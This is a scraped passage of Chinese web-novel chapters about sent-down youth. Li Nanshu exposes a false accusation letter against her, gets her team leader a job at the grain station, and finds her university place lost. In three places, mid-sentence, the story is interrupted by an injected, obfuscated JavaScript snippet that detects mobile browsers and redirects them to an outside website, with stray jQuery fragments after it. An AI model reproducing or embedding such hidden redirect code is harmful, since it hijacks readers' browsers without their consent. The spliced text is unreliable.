郭婶子塞了两个煮鸡蛋给她们,“你俩晚饭都不留下来吃,这两个鸡蛋可得带着,不然以后别喊我婶子。” 从郭家出来,徐永兰就道:“郭婶真客气,我们在她家住几天,尽拿好吃的来招待。” 李南书道:“可不嘛,等回头我去公社供销社买点鸡蛋糕给小二妮送去。” 徐玉兰忽然想起来昨天的事儿,和李南书道:“昨天你去报案后,小牛那孩子哭得可伤心了,说看见苏清溪把你往湖里推,你要被淹死了,我听郭婶说,现在大队里各家都叮嘱孩子,让他们离苏清溪远点。” 李南书没吱声,这孩子是把梦境和现实搞混淆了。 等到了知青点,就见贺琼玉倚在院子门口,抬头不知道想着什么,李南书开口喊道:“琼玉,怎么在这站着?” 贺琼玉接过她俩手里的包裹,“等你呢,”说着,压低了声音道:“苏清溪也搬回来了,要住你那屋,我把她拉到我那屋了。” 苏清溪没搬出去之前,是和李南书一个屋的。 徐永兰有些诧异地问道:“她怎么回来了,不是在牛木匠家吗?” “昨天公安来后,钱婶子吓坏了,说她家俩儿子还小,回头别给苏清溪带坏了,怎么都不同意苏清溪住在那,苏清溪又问了几家,大家都不愿意。” 李南书有些奇怪,“她没加钱吗?”这是没钱了吗?一百块钱,一百斤粮票就把苏清溪掏空了? 贺琼玉看了一眼身后,才接着道:“她又是偷东西,又是害人的,家风正些的,谁敢让她住进去?那些想挣这钱的人家,你看她敢去住吗?可不就回来了。” 又看着李南书,有点恨铁不成钢地道:“南书,你还说呢,你怎么在她手里栽了跟头?”贺琼玉老家是渔县同大公社的,这几天下雨,她回家住了几天,昨儿从县城回来,就见南书气咻咻地往村里赶。 李南书苦笑了下,“防不胜防。”她也没想到,为着这个大学名额,苏清溪这么能折腾。转念一想,苏清溪并不知道以后知青能回城,也不知道高考会恢复,她的“折腾”也可以看做一个青年在绝望中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117854|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的抗争。 就是这个抗争的方式,害人利己。 贺琼玉点点头,“只有千日做贼的,没有千日防贼的,她回来住,你也别怕,我帮你看着!对了,那封举报信,你拿回来没有?” “还没有。” 贺琼玉道:“这事得趁早,别回头为了这事影响你上大学。” 琼玉这样一说,李南书也想起来,这事还是得快点解决,工农兵大学招生也就这十来天的事儿。 李南书心里惦记这事,苏清溪也惦记着,这天晚上,李南书正准备睡觉,忽然有人来敲她们门,李南书扬声问道:“谁啊?” “我是苏清溪,李南书,请你出来一下,我们聊一聊。” 李南书回道:“我不出来,我俩没什么好聊的,我怕你一刀把我害了。” 苏清溪见她不配合,急得跺脚,喊道:“李南书,你说,你要我怎么做才撤案?” 李南书见她是来求和,起身拉开了门,夜风吹得她打了个冷颤,风里裹着水滴,似乎又要下暴雨,“苏清溪,要我撤案可以,你先告诉我,那封举报信上,还有谁写了名字?” 苏清溪呼吸一窒,有些不可置信地看着她,“你怎么知道还有别人?” 李南书不耐烦地道:“你别管,你就说还有谁的名字?你也别想着骗我,等你告诉了我,我就去核实。” 苏清溪低了头,好半晌才嗫嚅着道:“还有晓蕙,孔……孔真真。” “孔真真是谁?” 屋里的徐永兰不知道什么时候也坐了起来,开口道:“南书,首长家的女儿,就我们前些天在公社学区看到的那位。” 李南书瞬时明白,为什么黄、杨两位书记说她得罪了人,说她这事,他们没法管,原来是避着这位,不敢管。如果不是她用“命案”来让公安查,那这顶“作风问题”的帽子,她是不是戴定了? 她甚至都不认识孔真真,李南书看了眼心虚的不敢看她的苏清溪,“是你怂恿她们签的名?” 到了这时候,苏清溪忽然无所谓了,语带讥讽地道:“你怎么就认定是我怂恿?你就这么笃定大家都喜欢你吗?李南书,我只是问她们愿不愿意在上面签名,她们就签了。你看,也有人像我一样讨厌你……” 李南书懒得听她废话,打断她道:“苏清溪,话不可能给你一个人说完了。”孔真真她不认识,晓蕙可就住在她隔壁,径直敲开了隔壁的门。 苏清溪见她要去找吕晓蕙对质,肉眼可见地慌了,喊了一声道:“李南书,你这是自取其辱。” 吕晓蕙已经躺在床上,脑子迷糊糊的,隐约听到外头有争吵声,可实在压不住困意,忽然听到李南书喊她,立即爬了起来,边揉眼睛边问道:“南书姐,你找我?” 李南书开门见山地问道:“晓蕙,你为什么举报我作风问题,我做了什么事儿,让你觉得我有作风问题?” 原本还有些迷糊着的吕晓蕙,立即被吓清醒了,“南书姐,你说什么?我举报你?我什么时候举报你了?我干什么举报你?”小姑娘急得眼泪都掉了下来,“南书姐,我不知道,你别吓我。” 举报可是大事,能害死人的,她怎么会好端端地干这事?吕晓蕙慌得不得了,她就是好偷懒、贪吃点,她什么都没干啊! 李南书松了口气,她相信晓蕙,缓了声调道:“晓蕙,是这样的,苏清溪举报我作风问题,她说你在这封举报信上签了名字,你想想,你什么时候在信纸上写了自己名字?” 小姑娘忽然抬头,“我想起来了,前几天,就你们去公社考试那天回来,苏清溪带了几块核桃酥来找我,还送了我一点信纸和笔,说这笔写字可好看了,让我试试,又问我名字里的‘晓蕙’是哪两个字,我就在信纸上写了一个名字。” 吕晓蕙懊悔死了,万想不到自己贪小便宜,惹了这么大一个祸事,“南书姐,我来这儿插队,就你对我最好,上次我害得你差点没命,你都没怪我,我要是举报你,那真是连畜生都不如了。” 说到这里,本来还哭着的小姑娘,忽然抹了眼泪,快步朝门口走去,猛不丁地拽住了苏清溪的辫子,用力往后一扯,苏清溪尚来不及惊呼,就“啪、啪”地挨了两巴掌。 平时看着没什么力气的小姑娘,一下子爆发起来,把屋子里的女知青都吓了一跳。 吕晓蕙气狠狠地道:“苏清溪,你欺人太甚了!” 8. 第 8 章 动静闹大了,男知青那边也出来看,贺琼玉在一旁简单总结,“苏清溪骗吕晓蕙在信纸上写了自己的名字,那信纸被用来举报李南书了,吕晓蕙被动成为联合举报人。” 此时,吕晓蕙已经被人给拉开,小姑娘蓬头散发的,赤红着眼看着苏清溪道:“我明天就要去报案,你陷害我的名誉,我不仅要去公安报案,还要去革委会举报你!” 小姑娘说完,就嚎啕大哭,“太坏了,怎么有这么坏的人,自己干坏事,还要诬陷我!”她越想越害怕,如果李南书被举报成功,她一辈子都不知道,自己曾经也是伤害南书姐的刽子手。 贺琼玉抱着她道:“没事,事情说开了就好,南书不会怪你的,走,今晚跟我睡吧!” 李南书也道:“晓蕙,我相信你的人品,因为相信你,我才会找你当面问清楚,你不要有心理负担。” 吕晓蕙哽咽着点头,“谢谢南书姐,还好你没事,不然我这辈子都没法做人了。我明天就去把那封信要回来。” 李南书苦笑了下,怕是不那么容易。 苏清溪坐在地上,索性不起来了,望着一片漆黑的天上,连星星和月亮都没有,她觉得就像自己的处境,黑得看不到一点希望呢?她不过就想要一个上大学的名额而已啊? 为什么这么难? 她伏在地上大哭起来,边哭边道:“我不过就是想回城,李南书,你为什么不能让让我,你还小,可我已经24岁了,我要是再在这小山村里蹉跎下去,拖成了老姑娘,我这一辈子就完了,我只是想回城,过一个普通城里姑娘的生活,怎么就不行呢?” 大家看着她,都没有出声。 李南书冷淡地道:“苏清溪,你想过普通人的生活,就要踩着我的名誉、未来,乃至性命吗?我有什么对你不起的地方吗?你想举报我,是蓄谋已久吧?从三月份你偷我的信开始,你就想把我击倒,好踩着我往上走。” 李南书呼了一口气,接着道:“你没错,难道我这个被你蓄意伤害的人,犯了什么不可饶恕的错吗?” 苏清溪泪眼婆娑地道:“李南书,你太优秀了,我想压过你,可是每次都被反压,你今年不走又怎么样呢?” “苏清溪,你从来没有和我开诚布公地说过,希望我让你什么,你每次都是以一个竞争者的姿态出现的,你的人生重要,我的未来、我的人生也很重要,”顿了一下,又道:“我不是你的什么人,我没有义务把我珍惜、珍爱的东西,跪着捧到你面前。” 苏清溪无话可说,低着头呜咽起来。 最后是骆一勤走过来,劝道:“清溪,不管怎么样,明天天亮再说吧,回去睡吧!” 苏清溪摇摇头,望着他,张了张嘴,到底什么也没说。 大家都没管她,各自回屋睡去了,徐永兰还喊南书搬了张桌子,把门堵了起来,“预防她晚上发疯,还是堵起来,我们睡得安心点。” 夜里果然又下起了雨,风大雨大,徐永兰爬起来朝窗外看了一眼,轻声道:“回去睡了,不在外头了。” 年纪较小的于菡萏道:“太吓人了,别说晓蕙了,我都被苏清溪吓死了,自己害人,还要拉着别人一起。” 徐永兰道:“晓蕙这回算是吃了个教训,唉,也是怪吓人的,这丫头平时也就偷点小懒,也没干什么出格的事,这回被这么陷害,以后怕是连朋友都不敢交了。” 隔了一会儿,徐永兰问道:“南书,如果苏清溪和你道歉,求你原谅,你会原谅吗?” 李南书轻声道:“不会,她的每一次计谋都想让我万劫不复,没有留一点余地,我绝不会原谅。”这时候,她也能理解原书里的哥姐,这个人没有给他们的妹妹一点退路,他们怎么可能让她有退路呢? 苏清溪的痛苦是痛苦,她李南书的绝望也是绝望啊!她没有那么高尚的情操,做不到以德报怨。 一直没出声的韩钰道:“南书,我支持你,其实你已经饶过她一次了,那次偷你的信,你不是选择了和解吗?最后并没换来人家的感恩,而是变本加厉地陷害你,不要心软,不然就等于在自己身边埋一条毒蛇。” 李南书应了声:“好!” 外面的雨忽然小了好些,淅淅沥沥的,李南书想了一会儿,也就睡着了。 第二天早上起来,吕晓蕙已经在廊下等她了,眼下有些青色,“南书姐,我要跟你一块儿去公社,我要把那封举报信拿回来。” “行,晓蕙,那你等我会。” 苏清溪也从屋里走出来,“李南书我把举报信拿回来,你撤案。” “好,我可以撤这个案子,但是苏清溪,你诬告我,是事实。” 苏清溪的脸色又白了一点,但是她想了一下,诬告什么的,没有蓄意谋`杀罪重,大不了她这两年都不报名工农兵大学。 三个人一起找到了公社革委会郑主任,说要拿回先前的举报信,郑主任年约四十岁,有点秃头,此时有些发愁地摸了摸脑瓜,问苏清溪道:“苏同志,你知道撤回举报信,意味着什么吗?” 苏清溪试探着问道:“诬告?” 郑主任点头,“你想清楚了?” 吕晓蕙忙道:“本来就是诬告,我的名字是写在一张空白纸上的,被苏清溪利用成了联合举报人,主任,我要举报苏清溪诬告和陷害。这件事,我们北山大队知青都可以为我作证!” 郑主任不高兴地道:“苏同志,这位小同志说的是事实吗?” 苏清溪点头,郑主任道:“那这封信你们拿不回去,这是苏清溪诬告的证据,你们先走吧,这事回头会有革委会的人来调查清楚的。” 李南书也去找了王特派员,一看到她来,王特派员就道:“李同志,你先前的案子,怕是证据不足。” 李南书点头,“是,我撤案,那苏清溪故意诬告我,您先前查案是知道的,我可以以‘侵害名誉权’报警吗?” 王特派员点头,“当然可以。” 李南书进去的时候,苏清溪就站在门外,听到这里,双腿发抖。 吕晓蕙看她这样,微微“哼”了声,轻声道:“这就害怕了?事情不是你做的吗?” 李南书今天还有任务在身,安慰了晓蕙几句,就去了会议室做准备工作。 苏清溪也没回北山大队,而是去隔壁大队找孔真真了。 孔真真见她来,还挺高兴的,“清溪,那天填 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117855|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报大学,你怎么没去?我准备去县里买两件衣服,你陪我去看看?” 苏清溪摇了摇头,“真真,我今天是有事来请你帮忙。”在孔真真友善的目光下,她把这几天的事说了一遍,这回倒没有添油加醋,末了道:“真真,我已经认识到了错误,你可以帮我和公社领导说说吗?这次不记我的处分?我怕留了处分,以后彻底没机会回城了。” 说着,又哭了起来。 孔真真递了一张手帕给她,有些为难地道:“清溪,我也不知道我的话有没有用,我试试看?” 苏清溪握住她的手,一遍遍地道谢。 俩人到公社的时候,已经是下午了,刚好会议开完,黄书记接待了他们,听了孔真真的诉求,皱眉道:“孔同志,这件事我这边给不了你准话,还是要以公安特派员和革委会那边的调查结果为准。” 苏清溪咬牙道:“那如果我求得李南书的原谅呢?” 黄书记道:“那你们自己达成和解,什么都好说嘛!” 出完简报的李南书,就这样又被苏清溪和孔真真堵住了,孔真真抬着下巴,看了她一眼,语气颇为高傲地道:“这位同志,苏同志是有不对的地方,但俗话说得饶人处且饶人,退一步,你看可以吗?” 李南书听得都想笑,“孔同志,既然你口口声声说,得饶人处且饶人,你怎么不饶了我?我们俩都不认识,你从哪里知晓我有作风问题?” 孔真真脸红了一下,“我那天看见了,你和一个男知青嘀嘀咕咕的,你在公社还有个相好,这不是脚踏两条船吗?” 李南书顿时像看到了个傻子一样,鄙夷地道:“我那天不过报名和人说了两句话,我当时连他是谁都不知道。你就给我压了一顶帽子来,要毁我一辈子?你TM个傻子!” 孔真真立即不高兴地道:“你这人,怎么还骂人呢?” 李南书不想理她,“让让,我要回家,你们拦着不让我走,是不是又想谋害我?” 孔真真被她唬的后退了几步,又上前一步道:“我们赔偿,赔钱可不可以?” 李南扔了一句,“我绝不可能原谅,你们都是成年人,你们应该为自己的行为负责。”说完就大踏步走了。 她说的是“你们”。 这么会儿,孔真真忽然想起来,她也是在那张举报信上写了名字的,如果苏清溪是诬告,那她不也是吗? 她心里慌了一瞬,她插队之前,她爸千叮万嘱,让她不要在乡下惹事,她心里急慌慌的,没空理苏清溪,一路小跑到邮局,给她爸打电话了。 几个人只顾着争吵,压根没注意到卢东樾就在不远处站着,他听了一会,大概明白,李南书的“作风问题”里,还有他的原因。 他忽然理解李南书的气愤,他连多和李南书说两句话,都要想方设法,在他不知道的情况下,甚至就在他们刚认识的瞬间,他俩犯了作风问题? 多年以后,卢东樾把这件事当个笑话讲给别人听,但是现在,他为着自己给李南书带来麻烦而自责和担忧。 但是他仔细想了一下,他也不知道自己的问题在哪里?他不过是在一个平常的一天,和一位女同志说了两句平常的话。 9. 第 9 章 李南书晚上睡觉的时候,忽然想到一个问题,今天孔真真说她在大队里有个相好,这个相好说的是谁? 她想了一下,平时在大队里和谁来往多点,陆海林、徐彦博、张朴生、张瑞星的名字都在脑海里过了一遍,她还想到了骆一勤。 不会说的是骆一勤吧? 这个念头一起,李南书就从床上坐了起来,骆一勤本来心理负担就重,要是革委会的人找他谈话,还不知道怎么惊慌。 李南书越想越不安心,穿了鞋,到隔壁找苏清溪,苏清溪也没睡,听见李南书喊她,忙起来开了门,轻声问道:“什么事?” 李南书示意她出来,问道:“你举报信里,我那个相好是谁?这两天革委会和公安都要来问话,你要是不说,到时候不得把他们吓死吗?” 苏清溪不吱声,只盯着窗户看。 李南书也不催她,这两天革委会的人就会来,苏清溪要想还在这安生住几天,她肯定得说。 苏清溪吐了一个名字,“骆一勤”。 李南书心头火顿起,“队长的情况你不是不知道,你这样做,不是要害死他吗?苏清溪你的心太黑了,连队长都要害!” 苏清溪木着脸,淡淡地道:“也不算我胡说,他确实喜欢你。” 李南书冷笑了一声,“苏清溪,你真是好样的。就算他喜欢我,我有做什么吗?他有做什么吗?他喜欢我,就是作风问题?我是敌特吗?” 苏清溪扭了头,不说话。 李南书抓住了她的手腕,硬拖着她,去拍了男知青宿舍的门,“队长,你睡没,我们有点事想和你说一声!” 骆一勤似乎没睡,很快就出来了,看苏清溪也在,以为她俩又发生了争执,出声问道:“怎么了?” 李南书推了下苏清溪,“你说,你自己做的事,你自己说。” 苏清溪低着头,等听到李南书又冷哼了一声,像是被刺激到了,开口道:“骆一勤,我那封举报信里,编排了你是李南书的相好,明后天,公社可能有人来找你谈话。” 骆一勤的脸“唰”地就白了,瞳孔放大,不可置信地看着苏清溪,又看看李南书,像是被吓到的样子。 李南书被唬了一跳,忙安抚道:“队长,你不用担心,革委会和王特派员都知道这是诬告,他们下来调查,就是还我们清白的,和你没有一丁点关系,只是问个话而已。”她说着说着,自己也红了眼眶。 真正难的人,难道不是像骆一勤这样的吗?背着巨大的出身压力,一点风吹草动都胆颤心惊,为了不被人指着鼻子骂“黑五类的狗贼子”,什么脏活累活都抢着干,明明做了很多事,却连一个稍光明些的前途都不敢想。 苏清溪连这样的人都要害。 李南书越想越悲愤,反身在苏清溪胳膊上狠狠打了一下,“你心太黑了,就算你去上了大学,你良心能安吗?” 苏清溪的胳膊都被打麻了,倒是没有还手,红着眼眶道:“我没想害他,我只是用了一下他的名字。”李南书确实不曾有男女问题,她像是不开窍一样,对谁都是大大方方的,女儿家的羞涩、忸怩,她一点儿都没有。 她能想到的,只有骆一勤。她早看出来了,骆一勤看李南书的眼神不一样,那么温暖、小心翼翼,每次李南书和他说话,他的嘴角压都压不住。 门口的争执,很快被屋里的男知青们听到了,都出来安慰骆一勤,骆一勤一直没出声,好半晌才像回过神来一样,轻声道:“大家都去睡吧,有什么事明天再说。” 李南书见他情绪还算平稳,也就没有多说。 第二天一早,李南书在院子里看到骆一勤,刚开口喊了一声“队长”,就被骆一勤拦住了话头,“南书,我没你想的那么脆弱,你作为受害者都不怕,我更不会怕,我会好好配合公社那边的调查,还你……还我们一个清白。” “谢谢队长!对不起,因为我的原因,连累了你。” 骆一勤摇头,“和你没有关系,写举报信的不是你,你什么都没做,你不要有心理负担,”顿了下,望着她道:“南书,我还庆幸苏清溪写的是我,至少我不会从中作梗,不会故意污蔑、造谣你。” “谢谢,队长。”她想说什么,一时又不知道能说什么。 骆一勤摆摆手道:“你今天还得去公社出简报吧?快走吧,马上七点了。” 李南书走后,徐彦博拿着一个窝窝头过来,问道:“骆哥,要不要帮忙?” 骆一勤摇头,“不用,反正来了这里,我就没起过回城的心思,我没有作奸犯科,事情还能坏到什么程度?倒是南书,她本来今年可以上大学的。” 徐彦博不以为意地道:“李南书肯定能走,她人好,脑子活,手脚勤快,做事踏实,就算上不了大学,我看她被调到公社,也是迟早的事。” 又补了一句,“我有时候都在想,就李南书这冲劲、韧性,她以后得找个什么样的人当对象啊?她比我还小一岁呢!” 骆一勤笑道:“大概是个和她一样善良、能干的人。” 徐彦博掰着窝窝头吃完,又道:“我看苏清溪怎么也得去农场待待,她这日子还是过得太好了,平时请假偷懒,我们都不说她,她还搞内讧,偷东西、污蔑、造谣样样来。”徐彦博都觉得这些日子,自己是开了眼界了。 骆一勤道:“别的大队的知青,为了回城,闹得花样也五花八门。”只不过他自问对苏清溪还算关照,没想到临到头也被咬了一口。 他们正聊着,苏清溪从宿舍出来,似乎是考虑了一会儿,才走到他们这边来,“队长,我向你道歉,我当时被仇恨蒙住了眼睛,把你的名字写了上去,乱编排了你和李南书,对不起,希望你能原谅我。” 骆一勤看了她一眼,缓缓摇了摇头,“苏清溪,我也说一声对不起,恐怕我做不到。” 苏清溪怔了一下,似乎没想到他会拒绝,嘴巴有些干涩地道:“队长,你平时最照顾我们,我们小打小闹的,你从来不说,为什么这次不可以?” 骆一勤冷淡地道:“这一次不一样,这不是小打小闹。你自以为是的一时冲动,会毁了……毁了我和李南书,她本来可以去上大学的。” 苏清溪眼眸含泪,咬着嘴唇,“所以说,还是为了李南书,因为我阻碍了她的前程。” “随你怎么说,我问心无愧。”说完,转身就走了。 徐彦博皱着眉,“啧啧”了两声,“苏清溪,你这是把所有人当你爹妈了,你想欺负就欺负,你想道歉,别人还得原谅?” 苏清溪瞪着他道:“装什么装,要是有机会,你不走吗?” 徐彦博立即直起了脊背,“我不会为了奔前程,而把别人踩得流血流泪的。” ** 李南书到公社大院的时候,卢东樾也刚好骑着自行车过来,远远地就和李南书打招呼,等到了近前,问道:“李同志,昨天回去还顺利吧?” 他今天穿了一件灰色的衬衫,卡其色的裤子,看起来很干净清爽,比他们头一回见面还精神些。 李南书笑道:“卢同志,我发现你这几天格外精神,是不是人逢喜事精神爽。” 卢东樾知道她说的是他上大学的事,笑道:“差不多。” 李南书想到昨天孔真真和她说的话,开口道:“哦,我和你说,今天革委会和王特派员可能要和你说一个笑话,你到时候忍住一点。” 卢东樾挠挠头,“哎呀,我知道你说的是什么事,你们昨天在门口聊的时候,我刚好听到了。” 又道:“李同志,咱们真是英雄所见略同,我也觉得这事是个笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117856|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。” 李南书笑了一下,“你是真可以笑,我就不一样,我可是当事人,我不能笑我自己。” 卢东樾收了笑意,认真地道:“李同志,你放心,这事我肯定和革委会的同志、王特派员解释清楚。” 李南书表达了感谢,眼看会议开始,俩人就没有再聊。 今天的会议主题是关于下半年的抢收、征粮工作,李南书正记着会议内容,忽然听到粮站主任说,“我们粮站一到收粮的时候就特别忙,黄书记,你看好不好再给我们粮站一个名额,招一个人进来?” 黄书记笑道:“哎呀,刘主任,你们粮站的工作忙起来是不得了,可是不收粮的时候,可要闲好几个月,这名额我就是给报上去,县里肯定也不会批。” 两个人一来一回又说了几句,最后确定可以安排一个临时工的岗位。李南书听得心里一动,正式工轮不到他们知青,临时工还是可以试一试的。 等上午会议结束,刘书记要走的时候,李南书马上跟了上去,“刘书记,打扰您一下。” 刘书记站住了脚,“哎,你不是我们公社的通讯员,找我有什么事,你说。” “刘主任,是这样的,我刚听您说粮站需要一位助征员,我想推荐下我们北山大队的知青队长骆一勤,他特别能干,每次遇到什么脏活累活他都顶在前面,人也很好,平时很照顾我们知青,您看看,可不可以给他一个机会?” 刘主任笑着问道:“你怎么称呼?” “我叫南书,姓李,您喊我小李就行。” 刘主任点点头,“李同志,我问一句,你为什么向我推荐他?他是你对象?还是你家亲戚?” 李南书忙摆手道:“都不是,不瞒您说,我就是觉得他特别能干,放在我们北山大队干农活,有些埋没了人才,他这样好的人品、能力,应该出去闯一闯,您看,要不要让他试一下?” 刘主任沉思了一下,“我和你说下要求,不喝酒,不胡闹,人正派本分,他是知青,应该有点文化?” 李南书补充道:“高中生,在大队里还帮我们会计干过活。” “那行,你让他明天下午来粮站一趟找我,对了,他叫什么名字?” “骆一勤!” 李南书一直把刘主任送到了大院门口,等人走远了,李南书捂着胸口,还觉得心脏跳动得快,她这是算给他们队长找了一份工作? 她一下午心情都很好,写稿子的速度都快了不少,连卢东樾都问她道:“李同志,什么事啊,你今儿这么高兴?” 李南书准备说,又赶忙闭了嘴,怕卢东樾泄露了消息,有更多的人来和骆一勤竞争。 不想,卢东樾见她一副不能说的样子,立即猜到:“不会是给你们队知青要了那个助征员的工作吧?” 李南书有些讶异,“你怎么知道?” 卢东樾道:“我看上午开会的时候,你听到这儿,就抬了头,朝刘主任看了好一会儿,刚刚散会的时候,你又追着人跑出去了。” 说完,又补充道:“你放心,我不和你抢这个名额。” 李南书这才道:“我推荐了我们知青队长,他人挺好的,平时对我们可关照了,就是出身压着一道,而且这会儿,我被举报的事,还牵连了他,我想着看能不能帮一帮。” 助征员也有工资,而且公社的机会总比大队里多点,说不准骆一勤能在粮站有新的机遇呢! 她说的坦坦荡荡的,卢东樾到嘴边的一句,“那你对他的看法呢?”就这样吞下去了,笑道:“那咱们今天加快速度,你早点回去告诉他这个好消息。” “嗯,好,谢谢卢同志!” 回北山大队的路上,李南书连走带跑的,她觉得今天的晚风格外的舒爽,天空的云朵都格外的白净、绵软。 10. 第 10 章 李南书到知青点的时候,贺琼玉正蹲在井水边洗豌豆,看到她回来,笑道:“南书,热不热?先洗个脸,井水凉得很。” “好的,琼玉,队长回来没?” 贺琼玉擦了一下汗,“和彦博一起去山上砍柴了,南书,今天公社来人了,问了我们一些情况。” 李南书忙问道:“队长还好吧?” “还好,状态挺正常的。”又道:“现在大家都知道苏清溪干的事,中午吃饭的时候,张瑞星看到她过来,骂了句‘害虫’,把她气得不轻。” 李南书道:“瑞星年纪小些,容易冲动。”张瑞星是和吕晓蕙一批来的,才17岁,好恶都表现在脸上。 贺琼玉又问道:“南书,你说,公社那边,这回会怎么处理苏清溪的问题?” “教育是必不可少的。”说到这里,李南书微微垂眸,至于教育到什么程度,就看公社领导的考量了。 正说着,骆一勤和徐彦博背着木柴回来,徐彦博手里提着一个草篮子,一进院子就道:“你们猜猜,我在山上发现了什么?” 贺琼玉笑道:“我看见了,葡萄!快拿过来,放盆里洗洗!” 三串葡萄放进瓷盆里,紫嘟嘟的,煞是好看,贺琼玉尝了一个,笑道:“又酸又甜,还挺好吃。” 骆一勤先去把柴放好,才出来道:“南书,今天公社来人,你放心,我都照实说了。” 李南书真心实意地道了谢,又道:“队长,我也有个事要和你说,粮站要招一个临时的助征员,我向刘主任推荐了你,你要是愿意的话,明天下午过去找下刘主任?” 骆一勤愣了一下,“咱们公社粮站?”他站在那里,忽然有些手足无措,怀疑自己听错了。 “嗯,刘主任说不能喝酒、不能胡闹、要勤快本分,还要有文化,我看你都符合条件,就是活有点重,搬粮、晒粮的,你要不要去试试看?” 骆一勤哑着声道:“好,我愿意!谢谢!”他完全没想到南书给他带来这样的消息,心里某处暗影重重的地方,好像漏了一丝光进来。 旁边的徐彦博递了几颗葡萄给南书,“南书,南书,看看我,下回有这种事,可得给我介绍啊,这回是给队长的,我就不抢了。” 李南书笑道:“好!” 晚上睡觉的时候,徐永兰轻声道:“南书,这个工作真是及时,给人希望,我都怕队长……” 剩下的话,她没说,但是住在这屋子里的三人都明白。 于菡萏道:“我先前听彦博说,今年工农兵大学招生的消息下来,队长就经常半夜起来,一个人坐在知青点门口,不知道在看哪里。” 韩钰开口道:“南书,你这回干了件善事,好人肯定有好报。” 李南书笑道:“借你吉言。” ** 第二天一早,李南书去公社里,卢东樾就让她快去一趟郑主任办公室。 郑主任见她来,就道:“李同志,根据我们的调查,确认那封举报信是诬告。” 李南书忙问道:“那对苏清溪、孔真真的处罚是什么?主任,这封举报信可将我害得不轻,您在革委会多年,定然知道一个作风的帽子对于女同志的伤害有多大!” 郑主任缓声道:“是,是,所以我们立即组织人员调查、核实,不能让任何一位同志蒙受不白之冤。我们已经查明了情况,苏清溪下放到农场的通知,很快就到你们大队。” 顿了一下,接着道:“至于另一位举报人孔真真同志,她确实完全不知情,是受了苏清溪的蒙蔽,我们已经进行了教育。” 意思是,这件事已经定调了。 李南书噎了一下,“郑主任,我需要她们恢复我的名誉,写封道歉信贴在公社的公告栏上。”她猜到公社会顾忌孔真真的身份,但是一封公开的道歉信,是她的底线。 郑主任答道:“可以,这是合理的要求。” 李南书见好就收,“郑主任,谢谢您费心,这事真是给您添了不少麻烦。” 郑主任似松了一口气,脸上的笑意也真诚了些,“这是我们的本职工作,你们知青千里迢迢的响应号召,从大城市来这插队,我们应该帮助国家和政府照顾好你们,以后有什么困难和委屈,尽管来公社找我们。” 李南书再一次表达了感谢,等从办公室出来,忍不住吁了一口气,心里想着:虚与委蛇,真是够累人的。 她刚站定,就听到卢东樾的声音,“李同志,事情解决了吗?” 李南书愣了下,“嗯,卢同志,你一直在这等我吗?” 卢东樾略过了这个问题,和她道:“李同志,既然举报信的问题解决了,咱们去问问杨书记,可不可以给你换个学校?” 去的路上,李南书侧头看了他一眼,觉得这人还挺热心,为她的事忙前忙后的。 杨书记似乎料到他们会来,一见他们,就递了一张报名表过来,“南书,来,看看,皋市卫校的护理系,不错吧?” 李南书接过来看了一下,卢东樾就先急道:“杨书记,原先不还有申城的学校吗?” 杨书记有些为难地道:“这个名额已经分下去了,你要是再从人家手上拿回来,怕是不成。这护理系也挺好,适合女同志。” 李南书早有预料,这会儿听他说,并不算意外,“谢谢杨书记,但是护士的工作,我怕是不行,我晕针。” 杨书记叹了一声,“就剩这一个了。” 卢东樾急道:“杨书记,不能再和别人换换吗?明明申城的……” 杨书记瞪着眼道:“怎么换?名额已经报给招生组了,像你报名的申城工学院,招生组的人都回申城了,皋市卫校的报名表今天也得填了交上去,明天就是截止日期了。” 卢东樾急得往前走了两步,“那李同志今年又走不了了?杨书记,那封举报信完全是空穴来风,彻彻底底的诬告,革委会都查明了,为什么不能把原来的名额还给她?” 李南书懵了下,看向了卢东樾,什么叫“原来的名额”? 杨书记喊了一声“卢副主任,”见卢东樾情绪稳定下来了,才道:“这事,我和黄书记真的尽力了,从头到尾,我和黄书记都相信南书的人品,才会据理力争给她留了一个名额。哎呀,你们年轻人,不知道我们的工作也很难做。” 李南书忙接话道:“谢谢杨书记,您和黄书记费心了,大学的名额非常宝贵,如果不是您和黄书记帮忙,我肯定是够不到的。” 杨书记听她这样说,叹了口气,“南书,黄书记说去年对不住你,今年我们是真想把你送走的,”顿了下道:“不然,你再在这边待一年?你稿子写得好,真要去上大学了,我们还舍不得,再等一年看看?” 李南书没有回答,反问道:“杨书记,这个卫校我去不了,但是这个名额还是归我们北山大队的吧?” 